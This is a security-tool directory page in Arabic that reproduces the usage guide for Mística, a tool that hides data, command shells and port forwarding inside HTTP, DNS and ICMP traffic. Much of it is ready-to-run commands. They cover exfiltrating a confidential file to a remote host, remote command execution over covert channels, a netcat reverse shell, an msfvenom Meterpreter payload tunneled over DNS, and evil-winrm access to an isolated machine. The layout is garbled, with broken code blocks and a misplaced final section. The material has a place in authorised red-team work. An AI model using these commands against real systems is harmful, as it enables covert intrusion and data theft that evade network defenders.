Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Mistica — سكين الجيش السويسري مفتوح المصدر للاتصال التعسفي عبر بروتوكولات التطبيقات | Kitploit
أدوات/GitHubGitHub/incidedigital/mistica
تسريب البياناتأمن الويبأمن الشبكاتاختبار الاختراقالقيادة والسيطرةالفريق الأحمرتحليل DNS
GitHubincidedigital/mistica

Mistica

سكين الجيش السويسري مفتوح المصدر للاتصال التعسفي عبر بروتوكولات التطبيقات

عرض المستودع
245495منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Mística

شعار Mística
شعار Mística من تصميم JoelGMSec

Mística هي أداة تسمح بتضمين البيانات في حقول بروتوكول طبقة التطبيق، بهدف إنشاء قناة ثنائية الاتجاه للاتصالات التعسفية. حالياً، تم تنفيذ التضمين في بروتوكولات HTTP وHTTPS وDNS وICMP، لكن من المتوقع إضافة المزيد من البروتوكولات في المستقبل القريب.

تمتلك Mística تصميمًا معياريًا، مبنيًا حول بروتوكول نقل مخصص يُسمى SOTP: بروتوكول النقل البسيط فوق الشبكة. يتم تشفير البيانات، وتقسيمها إلى أجزاء، ووضعها في حزم SOTP. تُرمَّز حزم SOTP وتُضمَّن في الحقل المطلوب من بروتوكول التطبيق، ثم تُرسل إلى الطرف الآخر.

الهدف من طبقة SOTP هو تقديم بروتوكول نقل ثنائي عام مع أقل حمل إضافي. يمكن إخفاء حزم SOTP أو تضمينها بسهولة في بروتوكولات التطبيق المشروعة. كذلك تضمن SOTP استلام الطرف الآخر للحزم، وتشفر البيانات باستخدام RC4 (قد يتغير هذا في المستقبل)، وتضمن تدفق المعلومات في كلا الاتجاهين بشفافية باستخدام آلية استقصاء.

تتفاعل الوحدات مع طبقة SOTP لأغراض مختلفة:

  • وحدات الغلاف: تقوم هذه الوحدات بترميز / فك ترميز حزم SOTP من / إلى بروتوكولات طبقة التطبيق.
  • وحدات الطبقة العليا: تتواصل هذه الوحدات عبر قناة SOTP. أمثلة: إعادة توجيه الإدخال/الإخراج (مثل netcat)، الصدفة (تنفيذ الأوامر)، إعادة توجيه المنافذ…

تعمل وحدات الغلاف والطبقة العليا معًا لبناء تطبيقات مخصصة، مثل إعادة توجيه الإدخال عبر DNS أو إعادة توجيه المنافذ عن بُعد عبر HTTP.

يسمح التصميم المعياري لـ Mística بتطوير وحدات جديدة بسهولة. كما يمكن للمستخدم بسهولة اشتقاق وحدات حالية لاستخدام حقل أو ترميز مخصص، أو تعديل سلوك وحدة طبقة عليا.

يوجد قطعتان رئيسيتان من البرامج:

  • خادم Mística (ms.py): يستخدم وحدات تعمل كخادم لبروتوكول طبقة التطبيق المطلوب (HTTP، HTTPS، DNS، ICMP...). وهو مصمم أيضًا بطريقة تسمح بتشغيل عدة خوادم ووحدات غلاف وطبقة عليا في نفس الوقت باستخدام نسخة واحدة من ms.py، رغم أن هذه الميزة لم تُطبق بالكامل بعد.
  • عميل Mística (mc.py): يستخدم وحدات تعمل كعميل لبروتوكول طبقة التطبيق المطلوب (HTTP، HTTPS، DNS، ICMP...). يمكنه استخدام وحدة طبقة عليا واحدة ووحدة غلاف واحدة فقط في نفس الوقت.

عروض توضيحية

يمكنك مشاهدة بعض العروض التوضيحية لـ Mística في قائمة التشغيل هذه.

المتطلبات

المشروع له تبعيات قليلة جدًا. حاليًا:

  • يحتاج عميل Mística إلى Python 3.7 على الأقل.
  • يحتاج خادم Mística إلى Python 3.7 على الأقل ومكتبة dnslib.``` python3.7 -m pip install pip --user pip3.7 install dnslib --user
root@kitploit:~
إذا كنت لا ترغب في تثبيت بايثون على نظامك، يمكنك استخدام إحدى الإصدارات المحمولة التالية:

- https://www.anaconda.com/distribution/#download-section (لنظام ويندوز ولينكس وماك)
- https://github.com/winpython/winpython/releases/tag/2.1.20190928 (فقط لنظام ويندوز)

## الوحدات الحالية

وحدات التراكب:

- `io`: يقرأ من الإدخال القياسي، ويرسل عبر اتصال SOTP. يقرأ من اتصال SOTP، ويطبع إلى الإخراج القياسي
- `shell`: ينفذ الأوامر المستلمة عبر اتصال SOTP ويعيد الناتج. متوافق مع وحدة io.
- `tcpconnect`: يتصل بمنفذ TCP. يقرأ من المقبس، ويرسل عبر اتصال SOTP. يقرأ من اتصال SOTP، ويرسل عبر المقبس.
- `tcplisten`: يرتبط بمنفذ TCP. يقرأ من المقبس، ويرسل عبر اتصال SOTP. يقرأ من اتصال SOTP، ويرسل عبر المقبس.

وحدات التغليف:

- `dns`: يقوم بتشفير/فك تشفير البيانات في استفسارات/استجابات DNS باستخدام طرق مختلفة
- `http`: يقوم بتشفير/فك تشفير البيانات في طلبات/استجابات HTTP أو HTTPS باستخدام طرق مختلفة
- `icmp`: يقوم بتشفير/فك تشفير البيانات في طلبات/استجابات الصدى ICMP في قسم البيانات

## الاستخدام

`ms.py`: خادم Mística

إليك شكل رسالة المساعدة:```txt
usage: ms.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS]
             [-o OVERLAY_ARGS] [-s WRAP_SERVER_ARGS]

Mistica server. Anything is a tunnel if you're brave enough. Run without
parameters to launch multi-handler mode.

optional arguments:
  -h, --help            show this help message and exit
  -k KEY, --key KEY     RC4 key used to encrypt the comunications
  -l LIST, --list LIST  Lists modules or parameters. Options are: all,
                        overlays, wrappers, <overlay name>, <wrapper name>
  -m MODULES, --modules MODULES
                        Module pair in single-handler mode. format:
                        'overlay:wrapper'
  -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS
                        args for the selected overlay module (Single-handler
                        mode)
  -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS
                        args for the selected wrapper module (Single-handler
                        mode)
  -s WRAP_SERVER_ARGS, --wrap-server-args WRAP_SERVER_ARGS
                        args for the selected wrap server (Single-handler
                        mode)
  -v, --verbose         Level of verbosity in logger (no -v None, -v Low, -vv
                        Medium, -vvv High)

يوجد وضعان رئيسيان في خادم Mística:

  • وضع المعالج المفرد: عند تشغيل ms.py مع معاملات، يسمح لوحدة تراكب واحدة بالتفاعل مع وحدة غلاف واحدة.
  • وضع المعالجات المتعددة: (لم يُنشر بعد) عند تشغيل ms.py بدون معاملات، يدخل المستخدم إلى وحدة تحكم تفاعلية، حيث يمكن تشغيل وحدات تراكب وغلاف متعددة. ستكون هذه الوحدات قادرة على التفاعل مع بعضها البعض، مع قيود قليلة.

mc.py: عميل Mística

إليك كيف تبدو رسالة المساعدة:```txt usage: mc.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS] [-o OVERLAY_ARGS]

Mistica client.

optional arguments: -h, --help show this help message and exit -k KEY, --key KEY RC4 key used to encrypt the comunications -l LIST, --list LIST Lists modules or parameters. Options are: all, overlays, wrappers, , -m MODULES, --modules MODULES Module pair. Format: 'overlay:wrapper' -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS args for the selected overlay module -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS args for the selected wrapper module -v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv Medium, -vvv High)

root@kitploit:~
### المعلمات

- يُستخدم `-l, --list` إما لسرد كل الوحدات (`all`)، أو سرد نوع واحد فقط: (`overlays` أو `wrappers`) أو سرد المعلمات التي يمكن لوحدة معينة قبولها من خلال `-o` أو `-w` أو `-s`.
- يُستخدم `-k, --key` لتحديد المفتاح الذي سيتم استخدامه لتشفير اتصال التغطية. يجب أن يكون هذا المفتاح هو نفسه في كل من العميل والخادم وهو إجباري حاليًا. قد يتغير هذا في المستقبل إذا تم تنفيذ مخططات مشاركة الأسرار.
- يُستخدم `-m, --modules` لتحديد زوج الوحدات الذي تريد استخدامه. يجب عليك استخدام التنسيق التالي: **وحدة التغطية** + **:** + **وحدة التغليف**. هذه المعلمة إجبارية أيضًا.
- يتيح لك `-w, --wrapper-args` تحديد تكوين معين لوحدة التغليف.
- يتيح لك `-o, --overlay-args` تحديد تكوين معين لوحدة التغطية.
- `-s, --wrap-server-args` موجود فقط في `ms.py`. يتيح لك تحديد تكوين معين لخادم التغليف. تعتمد كل وحدة تغليف على خادم تغليف، ويمكن ضبط كلا التكوينين.

## أمثلة واستخدام متقدم

> تذكر أنه يمكنك رؤية جميع المعلمات المقبولة لوحدة ما عن طريق كتابة `-l <module_name>` (مثل `./ms.py -l dns`). وتذكر أيضًا استخدام مفتاح طويل ومعقد لحماية اتصالاتك!

### HTTP

لتوضيح الطرق المختلفة لتغليف HTTP، سيتم استخدام وحدة تغطية إعادة توجيه الإدخال/الإخراج (`io`) في كل مثال.

- طريقة HTTP GET مع ترميز b64 في URI الافتراضي، باستخدام localhost والمنفذ 8080 (القيم الافتراضية).
  - خادم Mística: `./ms.py -m io:http -k "rc4testkey"`
  - عميل Mística:  `./mc.py -m io:http -k "rc4testkey"`
- طريقة HTTP GET مع ترميز b64 في URI الافتراضي، **مع تحديد عنوان IP والمنفذ**.
  - خادم Mística: `./ms.py -m io:http -k "rc4testkey" -s "--hostname x.x.x.x --port 10000"`
  - عميل Mística:  `./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 10000"`
- طريقة HTTP GET مع ترميز b64 في **URI مخصص**، باستخدام localhost والمنفذ 8080 (القيم الافتراضية).
  - خادم Mística: `./ms.py -m io:http -k "rc4testkey" -w "--uri /?token="`
  - عميل Mística:  `./mc.py -m io:http -k "rc4testkey" -w "--uri /?token="`
- طريقة HTTP GET مع ترميز b64 في **رأس مخصص**، باستخدام localhost والمنفذ 8080 (القيم الافتراضية).
  - خادم Mística: `./ms.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
  - عميل Mística:  `./mc.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
- طريقة HTTP **POST** مع ترميز b64 في الحقل الافتراضي، باستخدام localhost والمنفذ 8080 (القيم الافتراضية).
  - خادم Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST"`
  - عميل Mística:  `./mc.py -m io:http -k "rc4testkey" -w "--method POST"`
- طريقة HTTP **POST** مع ترميز b64 في **رأس مخصص**، باستخدام localhost والمنفذ 8080 (القيم الافتراضية).
  - خادم Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
  - عميل Mística:  `./mc.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
- طريقة HTTP **POST** مع ترميز b64 في **حقل مخصص**، باستخدام localhost والمنفذ 8080 (القيم الافتراضية).
  - خادم Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
  - عميل Mística: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- طريقة HTTP **POST** مع ترميز b64 في **حقل مخصص، مع حجم حزمة مخصص، وإعادة محاولات مخصصة، ووقت انتظار مخصص، وتحديد IP والمنفذ**:
  - خادم Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10" -s "--hostname 0.0.0.0 --port 8088 --timeout 30"`
  - عميل Mística: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10 --poll-delay 10 --response-timeout 30 --hostname x.x.x.x --port 8088"`
- طريقة HTTP **POST** مع ترميز b64 في **حقل مخصص**، **باستخدام قالب خطأ مخصص**، باستخدام localhost والمنفذ 8080 (القيم الافتراضية).
  - خادم Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data" -s "--error-file /tmp/custom_error_template.html --error-code 408"`
  - عميل Mística: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- طريقة HTTP GET مع ترميز b64 في URI الافتراضي، باستخدام **رمز استجابة HTTP مخصص** وباستخدام localhost والمنفذ 8080 (القيم الافتراضية):
  - خادم Mística: `./ms.py -m io:http -k "rc4testkey" -w "--success-code 302"`
  - عميل Mística: `./mc.py -m io:http -k "rc4testkey" -w "--success-code 302"`
- طريقة HTTPS GET مع ترميز b64 في URI الافتراضي باستخدام المنفذ 443. يجب إنشاء شهادة في خادم Mistica لاستخدام خيار ssl؛ يحتاج عميل Mistica فقط إلى تلقي علامة ssl:
  - خادم Mística:
      - `openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes`
      - `sudo ./ms.py -m io:http -k "rc4testkey" -s "--port 443 --ssl --ssl-cert server.pem"`
  - عميل Mística: `./mc.py -m io:http -k "rc4testkey" -w "--ssl --port 443"`
- طريقة HTTP GET مع ترميز b64 في URI الافتراضي، باستخدام خادم وكيل في عميل Mistica (يمكن استخدامه في البيئات التي يجب أن يمر فيها اتصال HTTP بالضرورة عبر وكيل مؤسسي، غير محدد في تكوين الكمبيوتر). اختبر المثال التالي باستخدام Burpsuite:
  - خادم Mística: `./ms.py -m io:http -k "rc4testkey" -s "--port 8000 --timeout 30"`
  - عميل Mística:  `./mc.py -m io:http -k "rc4testkey" -w "--proxy 127.0.0.1:8080 --port 8000 --poll-delay 30 --response-timeout 30"`

### DNS

لتوضيح الطرق المختلفة لتغليف DNS، سيتم استخدام وحدة تغطية إعادة توجيه الإدخال/الإخراج (`io`) في كل مثال.

- استعلام TXT، باستخدام localhost والمنفذ 5353 (القيم الافتراضية):
  - خادم Mística: `./ms.py -m io:dns -k "rc4testkey"`
  - عميل Mística:  `./mc.py -m io:dns -k "rc4testkey"`
- استعلام NS، باستخدام localhost والمنفذ 5353 (القيم الافتراضية):
  - خادم Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--queries NS"`
  - عميل Mística:  `./mc.py -m io:dns -k "rc4testkey" -w "--query NS"`
- استعلام CNAME، باستخدام localhost والمنفذ 5353 (القيم الافتراضية):
  - خادم Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--queries CNAME"`
  - عميل Mística:  `./mc.py -m io:dns -k "rc4testkey" -w "--query CNAME"`
- استعلام MX، باستخدام localhost والمنفذ 5353 (القيم الافتراضية):
  - خادم Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--queries MX"`
  - عميل Mística:  `./mc.py -m io:dns -k "rc4testkey" -w "--query MX"`
- استعلام SOA، باستخدام localhost والمنفذ 5353 (القيم الافتراضية):
  - خادم Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--queries SOA"`
  - عميل Mística:  `./mc.py -m io:dns -k "rc4testkey" -w "--query SOA"`
- استعلام TXT، باستخدام localhost والمنفذ 5353 (القيم الافتراضية) و**نطاقات مخصصة**:
  - خادم Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--domains mistica.dev sotp.es"`
  - عميل Mística:  
      - `./mc.py -m io:dns -k "rc4testkey" -w "--domain sotp.es"`
      - `./mc.py -m io:dns -k "rc4testkey" -w "--domain mistica.dev"`
- استعلام TXT، مع تحديد المنفذ واسم المضيف:
  - خادم Mística: `./ms.py -m io:dns -k "rc4testkey" -s "--hostname 0.0.0.0 --port 1337"`
  - عميل Mística:  `./mc.py -m io:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 1337"`
- استعلام TXT، باستخدام نطاقات فرعية متعددة:
  - خادم Mística: `./ms.py -m io:dns -k "rc4testkey"`
  - عميل Mística:  `./mc.py -m io:dns -k "rc4testkey" -w "--multiple --max-size 169"`

### ICMP

يقوم نواة لينكس، عند استلام حزمة طلب صدى ICMP، تلقائيًا بالرد بحزمة رد صدى ICMP (دون إعطائنا أي خيار للرد). لهذا السبب، يجب علينا تعطيل استجابات ICMP لنتمكن من إرسال استجاباتنا الخاصة التي تحتوي على بيانات تختلف عن تلك التي أرسلها العميل. للقيام بذلك، نقوم بما يلي:

تعطيل الاستجابات التلقائية لـ ICMP بواسطة النواة (*مطلوب صلاحية الجذر*) عن طريق تحرير ملف `/etc/sysctl.conf`:

- أضف السطر التالي إلى ملف /etc/sysctl.conf الخاص بك:```
net.ipv4.icmp_echo_ignore_all=1

ثم، قم بتشغيل: sysctl -p لتطبيق التغييرات.

الآن، لتوضيح الطرق المختلفة لتغليف ICMP، سيتم استخدام وحدة إعادة التوجيه والإخفاء IO (io) في كل مثال.

  • قسم بيانات ICMP، باستخدام الواجهة eth0:
    • خادم Mística: ./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"
    • عميل Mística: ./mc.py -m io:icmp -k "rc4testkey" -w "--hostname x.x.x.x"

Shell و IO

يمكنك الحصول على تنفيذ أوامر عن بعد باستخدام mística عبر قناة مخصصة، من خلال دمج وحدات io و shell. أمثلة:

  • تنفيذ أوامر على نظام العميل عبر DNS باستخدام استعلام TXT.

    • خادم Mística: sudo ./ms.py -m io:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53"
    • عميل Mística: ./mc.py -m shell:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53"
  • تنفيذ أوامر على نظام الخادم عبر HTTP باستخدام طلبات GET:

    • خادم Mística: ./ms.py -m shell:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000"
    • عميل Mística: ./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000"
  • تنفيذ أوامر على نظام العميل عبر ICMP:

    • خادم Mística: ./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"
    • عميل Mística: ./mc.py -m shell:icmp -k "rc4testkey" -w "--hostname x.x.x.x"
  • استخراج الملفات عبر HTTP باستخدام وحدة IO وعوامل إعادة التوجيه:

    • خادم Mística: ./ms.py -m io:http -s "--hostname 0.0.0.0 --port 80" -k "rc4testkey" -vv > confidential.pdf
    • عميل Mística (من المهم تشغيله من سطر الأوامر): type confidential.pdf | E:\Mistica\WPy64-3741\python-3.7.4.amd64\python.exe .\mc.py -m io:http -w "--hostname x.x.x.x --port 80" -k "rc4testkey" -vv

إعادة توجيه المنافذ باستخدام tcpconnect و tcplisten

  • إعادة توجيه المنافذ عن بعد (منظور من الخادم) عبر HTTP. سيتم إعادة توجيه العنوان 127.0.0.1:4444 على العميل إلى العنوان 127.0.0.1:5555 على الخادم. يجب أن يكون هناك شيء يستمع بالفعل على 5555.
    • خادم Mística: ./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"
    • عميل Mística: ./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"
  • إعادة توجيه المنافذ المحلية (منظور من الخادم) عبر DNS. سيتم إعادة توجيه العنوان 127.0.0.1:4444 على الخادم إلى العنوان 127.0.0.1:5555 على العميل. يجب أن يكون هناك شيء يستمع بالفعل على 5555.
    • خادم Mística: sudo ./ms.py -m tcplisten:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"
    • عميل Mística: ./mc.py -m tcpconnect:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"

Docker

تم إنشاء صورة Docker للاستخدام المحلي. هذا يغنينا عن تثبيت Python أو dnslib فقط إذا أردنا اختبار الأداة، كما أنها مفيدة جداً للتصحيح أو ما شابه لأننا نتجنب الضوضاء الناتجة عن التطبيقات المحلية الأخرى. لبنائها، نتبع ببساطة هذه الخطوات:

  • أولاً، قم ببناء الصورة باستخدام:``` sudo docker build --tag mistica:latest .
root@kitploit:~
* ثانيًا، أنشئ الشبكة باستخدام:```
sudo docker network create misticanw
  • ثالثًا: قم بتشغيل الخادم باستخدام:``` sudo docker run --network misticanw --sysctl net.ipv4.icmp_echo_ignore_all=1 -v $(pwd):/opt/Mistica -it mistica /bin/bash
root@kitploit:~
* رابعًا، قم بتشغيل العميل باستخدام:```
sudo docker run --network misticanw -v $(pwd):/opt/Mistica -it mistica /bin/bash

كيفية التجميع

ميسِتيكا هي أداة مطورة بلغة بايثون، مما يعني أنه نظريًا يمكن تجميعها.

لتجميع الأداة سنستخدم Pyinstaller، هذه الأداة ستسمح لنا بإنشاء ملف ثنائي (اعتمادًا على نظام التشغيل الذي نعمل عليه)، وهذا يعني أنه لا يمكننا القيام بـ التجميع المتقاطع كما في اللغات الأخرى مثل C، C++، Golang، Rust، إلخ. نحن نعمل على طريقة لجعل هذا ممكنًا، ومع ذلك، نترك لكم أمر Pyinstaller الذي سيسمح لنا بتجميع ميسِتيكا على أي نظام تشغيل:

تجميع عميل ميسِتيكا

بما أن عميل ميسِتيكا ليس له تبعيات، يمكن تجميعه مباشرة باستخدام Pyinstaller. لتجميعه اتبع الخطوات التالية:

  • أولاً، قم بتثبيت pyinstaller لإصدار Python3.7 أو أعلى:``` python3.7 -m pip install pyinstaller --user
root@kitploit:~
* والآن، قم بتجميع Mística Client باستخدام الأمر التالي:```
pyinstaller --onefile \
  --hiddenimport overlay.client.io \
  --hiddenimport overlay.client.shell \
  --hiddenimport overlay.client.tcpconnect \
  --hiddenimport overlay.client.tcplisten \
  --hiddenimport wrapper.client.http \
  --hiddenimport wrapper.client.dns \
  --hiddenimport wrapper.client.icmp \
  --hiddenimport overlay.server.io \
  --hiddenimport overlay.server.shell \
  --hiddenimport overlay.server.tcpconnect \
  --hiddenimport overlay.server.tcplisten \
  --hiddenimport wrapper.server.wrap_module.http \
  --hiddenimport wrapper.server.wrap_module.dns \
  --hiddenimport wrapper.server.wrap_module.icmp \
  --hiddenimport wrapper.server.wrap_server.httpserver \
  --hiddenimport wrapper.server.wrap_server.dnsserver \
  --hiddenimport wrapper.server.wrap_server.icmpserver \
  mc.py

تجميع خادم Mistica

إذا كنت ترغب في تجميع خادم Mística، فأنت بحاجة إلى تثبيت مكتبة Dnslib باستخدام Pip بشكل عام (تذكر أنها الاعتماد الوحيد لـ Mística، وفقط لخادم Mística). للقيام بذلك، اتبع الخطوات التالية:

  • أولاً، قم بتثبيت Python3.7 أو إصدار أحدث على نظام Windows أو Linux أو Mac.
  • ثانيًا، قم بتثبيت مكتبة Dnslib باستخدام Pip: pip install dnslib (بدون العلامة "--user"، بهذه الطريقة سيتم تثبيتها بشكل عام على النظام، وإلا فلن يتمكن pyinstaller من إضافتها كاستيراد مخفي. تتطلب هذه الخطوة صلاحيات المسؤول)
  • ثالثًا، قم بتثبيت مكتبة Pyinstaller باستخدام Pip: pip install pyinstaller.
  • ورابعًا، قم بتجميع خادم Mística باستخدام الأمر التالي:``` pyinstaller --onefile
    --hiddenimport overlay.client.io
    --hiddenimport overlay.client.shell
    --hiddenimport overlay.client.tcpconnect
    --hiddenimport overlay.client.tcplisten
    --hiddenimport wrapper.client.http
    --hiddenimport wrapper.client.dns
    --hiddenimport wrapper.client.icmp
    --hiddenimport overlay.server.io
    --hiddenimport overlay.server.shell
    --hiddenimport overlay.server.tcpconnect
    --hiddenimport overlay.server.tcplisten
    --hiddenimport wrapper.server.wrap_module.http
    --hiddenimport wrapper.server.wrap_module.dns
    --hiddenimport wrapper.server.wrap_module.icmp
    --hiddenimport wrapper.server.wrap_server.httpserver
    --hiddenimport wrapper.server.wrap_server.dnsserver
    --hiddenimport wrapper.server.wrap_server.icmpserver
    --hiddenimport dnslib
    ms.py
root@kitploit:~
## العمل المستقبلي

- طريقة التجميع المتقاطع لتتمكن من تجميع Mistica لأنظمة تشغيل مختلفة دون الحاجة إلى القيام بذلك من نظام التشغيل الهدف.
- توليد مفاتيح Diffie-Hellman الشفافة لبروتوكول SOTP
- وضع المعالجة المتعددة: وضع تفاعلي لـ `ms.py`. سيسمح هذا للمستخدم بدمج أكثر من طبقة مع أكثر من غلاف وأكثر من وحدة تغليف لكل خادم تغليف.
- توثيق تطوير الوحدات لتطوير وحدات مخصصة. لا يُنصح بذلك حاليًا حيث أن مواصفات الوحدات لا تزال قيد التطوير.
- الوحدات التالية:
    - غلاف SMB
    - طبقة RAT ومعالج RAT
    - طبقة وكيل SOCKS وإعادة توجيه المنفذ الديناميكي
    - طبقة نقل الملفات
    - غلاف RDP
- قوالب HTTP مخصصة لتغليف أكثر تعقيدًا
- توثيق مواصفات بروتوكول SOTP للعملاء أو الخوادم المخصصة. لا يُنصح بذلك حاليًا حيث أن البروتوكول لا يزال قيد التطوير.

## المؤلفون والترخيص

تم تطوير هذا المشروع بواسطة Carlos Fernández Sánchez و Raúl Caro Teixidó. تم إصدار الكود بموجب رخصة GNU General Public License v3.

يستخدم هذا المشروع كودًا مفتوح المصدر من طرف ثالث، خاصة:

- [Bitstring](https://github.com/scott-griffiths/bitstring) تم تطويره بواسطة Scott Griffiths.
- [A RC4 binary-safe](https://github.com/DavidBuchanan314/rc4) تم تطويره بواسطة David Buchanan.
- [A DNS Client without dependencies](https://github.com/vlasebian/simple-dns-client) تم تطويره بواسطة Vlad Vitan.
- [A ICMP Server and Client without dependencies](https://github.com/rcaroncd/ICMPack/) تم تطويره بواسطة Raul Caro.
تنزيل الأداة
  • شل عكسية HTTP باستخدام netcat على عميل لينكس.
    • مستمع Netcat (على الخادم): nc -nlvp 5555
    • خادم Mística: ./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"
    • عميل Mística: ./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"
    • شل Netcat (على عميل لينكس): ncat -nve /bin/bash 127.0.0.1 4444
  • تشغيل meterpreter_reverse_tcp (لينكس) عبر DNS باستخدام إعادة توجيه المنافذ. تم إنشاء الحمولة باستخدام msfvenom -p linux/x64/meterpreter_reverse_tcp LPORT=4444 LHOST=127.0.0.1 -f elf -o meterpreter_reverse_tcp_localhost_4444.bin
    • قم بتشغيل msfconsole على الخادم وأطلق المعالج باستخدام: handler -p linux/x64/meterpreter_reverse_tcp -H 127.0.0.1 -P 5555
    • خادم Mística: sudo ./ms.py -m tcpconnect:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"
    • عميل Mística: ./mc.py -m tcplisten:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"
    • قم بتشغيل meterpreter على العميل: ./meterpreter_reverse_tcp_localhost_4444.bin
  • EvilWinrm عبر ICMP باستخدام آلة قفز للوصول إلى آلة معزولة.
    • خادم Mística: ./ms.py -m tcplisten:icmp -s "--iface eth0" -k "rc4testkey" -o "--address 127.0.0.1 --port 5555 --persist" -vv
    • عميل Mística: python.exe .\mc.py -m tcpconnect:icmp -w "--hostname x.x.x.x" -k "rc4testkey" -o "--address x.x.x.x --port 5985 --persist" -vv
    • وحدة تحكم EvilWinrm (على آلة C2): evil-winrm -u Administrador -i 127.0.0.1 -P 5555